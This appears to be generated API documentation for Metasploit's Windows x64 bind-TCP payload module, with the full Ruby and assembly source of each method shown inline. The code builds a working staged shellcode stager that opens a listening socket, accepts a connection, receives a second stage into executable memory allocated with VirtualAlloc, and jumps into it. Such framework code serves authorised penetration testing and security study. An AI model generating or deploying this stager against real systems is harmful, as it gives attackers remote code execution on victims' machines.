Module: Msf::Payload::Windows::BindTcp_x64
- Includes:
- TransportConfig, Msf::Payload::Windows, BlockApi_x64, Exitfunk_x64, SendUUID_x64
- Included in:
- BindTcpRc4_x64
- Defined in:
- lib/msf/core/payload/windows/x64/bind_tcp_x64.rb
Overview
Complex bindtcp payload generation for Windows ARCH_X64
Constant Summary
Constants included from Rex::Payloads::Meterpreter::UriChecksum
Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN
Instance Method Summary collapse
-
#asm_bind_tcp(opts = {}) ⇒ Object
Generate an assembly stub with the configured feature set and options.
- #asm_block_recv(opts = {}) ⇒ Object
-
#generate(_opts = {}) ⇒ Object
Generate the first stage.
-
#generate_bind_tcp(opts = {}) ⇒ Object
Generate and compile the stager.
-
#include_send_uuid ⇒ Object
By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.
-
#required_space ⇒ Object
Determine the maximum amount of space required for the features requested.
- #transport_config(opts = {}) ⇒ Object
- #use_ipv6 ⇒ Object
Methods included from Exitfunk_x64
Methods included from BlockApi_x64
Methods included from SendUUID_x64
#asm_send_uuid, #uuid_required_size
Methods included from Msf::Payload::Windows
#apply_prepends, exit_types, #handle_intermediate_stage, #initialize, #replace_var
Methods included from PrependMigrate
#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64
Methods included from TransportConfig
#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components
Methods included from UUID::Options
#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url
Methods included from Rex::Payloads::Meterpreter::UriChecksum
#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup
Methods included from Pingback::Options
Instance Method Details
#asm_bind_tcp(opts = {}) ⇒ Object
Generate an assembly stub with the configured feature set and options.
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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 102 def asm_bind_tcp(opts={}) reliable = opts[:reliable] addr_fam = 2 sockaddr_size = 16 stack_alloc = 408+8+8*6+32*7 if use_ipv6 addr_fam = 23 sockaddr_size = 28 stack_alloc += 8*2 # two more rax pushes end encoded_port = "0x%.16x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first asm = %Q^ bind_tcp: ; setup the structures we need on the stack... mov r14, 'ws2_32' push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData ; structure (+8 for alignment) mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. xor rax, rax ^ if use_ipv6 asm << %Q^ ; IPv6 requires another 12 zero-bytes for the socket structure, ; so push 16 more onto the stack push rax push rax ^ end asm << %Q^ push rax ; stack alignment push rax ; tail-end of the sockaddr_in/6 struct mov r12, #{encoded_port} push r12 ; bind to 0.0.0.0/[::] family AF_INET/6 and specified port mov r12, rsp ; save pointer to sockaddr_in struct for bind call ; perform the call to LoadLibraryA... mov rcx, r14 ; set the param for the library to load mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call rbp ; LoadLibraryA( "ws2_32" ) ; perform the call to WSAStartup... mov rdx, r13 ; second param is a pointer to this struct push 0x0101 ; pop rcx ; set the param for the version requested mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call rbp ; WSAStartup( 0x0101, &WSAData ); ; perform the call to WSASocketA... push #{addr_fam} ; push AF_INET/6 pop rcx ; pop family into rcx push rax ; if we succeed, rax will be zero, push zero for the flags param. push rax ; push null for reserved parameter xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure xor r8, r8 ; we do not specify a protocol inc rax ; mov rdx, rax ; push SOCK_STREAM mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} call rbp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 ); mov rdi, rax ; save the socket for later ; perform the call to bind... push #{sockaddr_size} pop r8 ; length of the sockaddr_in struct (we only set the ; first 8 bytes as the rest aren't used) mov rdx, r12 ; set the pointer to sockaddr_in struct mov rcx, rdi ; socket mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')} call rbp ; bind( s, &sockaddr_in, #{sockaddr_size} ); ; perform the call to listen... xor rdx, rdx ; backlog mov rcx, rdi ; socket mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')} call rbp ; listen( s, 0 ); ; perform the call to accept... xor r8, r8 ; we set length for the sockaddr struct to zero xor rdx, rdx ; we dont set the optional sockaddr param mov rcx, rdi ; listening socket mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')} call rbp ; accept( s, 0, 0 ); ; perform the call to closesocket... mov rcx, rdi ; the listening socket to close mov rdi, rax ; swap the new connected socket over the listening socket mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call rbp ; closesocket( s ); ; restore RSP so we dont have any alignment issues with the next block... add rsp, #{stack_alloc} ; cleanup the stack allocations ^ asm << asm_send_uuid if include_send_uuid return asm end |
#asm_block_recv(opts = {}) ⇒ Object
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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 205 def asm_block_recv(opts={}) asm = %Q^ recv: ; Receive the size of the incoming second stage... sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length mov rdx, rsp ; set pointer to this buffer xor r9, r9 ; flags push 4 ; pop r8 ; length = sizeof( DWORD ); mov rcx, rdi ; the saved socket mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call rbp ; recv( s, &dwLength, 4, 0 ); add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next ; Alloc a RWX buffer for the second stage pop rsi ; pop off the second stage length mov esi, esi ; only use the lower-order 32 bits for the size push 0x40 ; pop r9 ; PAGE_EXECUTE_READWRITE push 0x1000 ; pop r8 ; MEM_COMMIT mov rdx, rsi ; the newly received second stage length. xor rcx, rcx ; NULL as we dont care where the allocation is. mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... mov rbx, rax ; rbx = our new memory address for the new stage mov r15, rax ; save the address so we can jump into it later read_more: ; xor r9, r9 ; flags mov r8, rsi ; length mov rdx, rbx ; the current address into our second stages RWX buffer mov rcx, rdi ; the saved socket mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call rbp ; recv( s, buffer, length, 0 ); add rbx, rax ; buffer += bytes_received sub rsi, rax ; length -= bytes_received test rsi, rsi ; test length jnz read_more ; continue if we have more to read jmp r15 ; return into the second stage ^ if opts[:exitfunk] asm << asm_exitfunk(opts) end asm end |
#generate(_opts = {}) ⇒ Object
Generate the first stage
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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 22 def generate(_opts = {}) conf = { port: datastore['LPORT'], reliable: false } # Generate the more advanced stager if we have the space if self.available_space && cached_size && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end generate_bind_tcp(conf) end |
#generate_bind_tcp(opts = {}) ⇒ Object
Generate and compile the stager
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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 56 def generate_bind_tcp(opts={}) combined_asm = %Q^ cld ; Clear the direction flag. and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: pop rbp ; pop off the address of 'api_call' for calling later. #{asm_bind_tcp(opts)} #{asm_block_recv(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string end |
#include_send_uuid ⇒ Object
By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.
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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 41 def include_send_uuid false end |
#required_space ⇒ Object
Determine the maximum amount of space required for the features requested
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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 73 def required_space # Start with our cached default generated size space = cached_size # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) space += 31 # EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above) # TODO: this is coming soon # Reliability checks add 4 bytes for the first check, 5 per recv check (2) #space += 14 # 2 more bytes are added for IPv6 space += 2 if use_ipv6 space += uuid_required_size if include_send_uuid # The final estimated size space end |
#transport_config(opts = {}) ⇒ Object
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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 49 def transport_config(opts={}) transport_config_bind_tcp(opts) end |
#use_ipv6 ⇒ Object
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# File 'lib/msf/core/payload/windows/x64/bind_tcp_x64.rb', line 45 def use_ipv6 false end |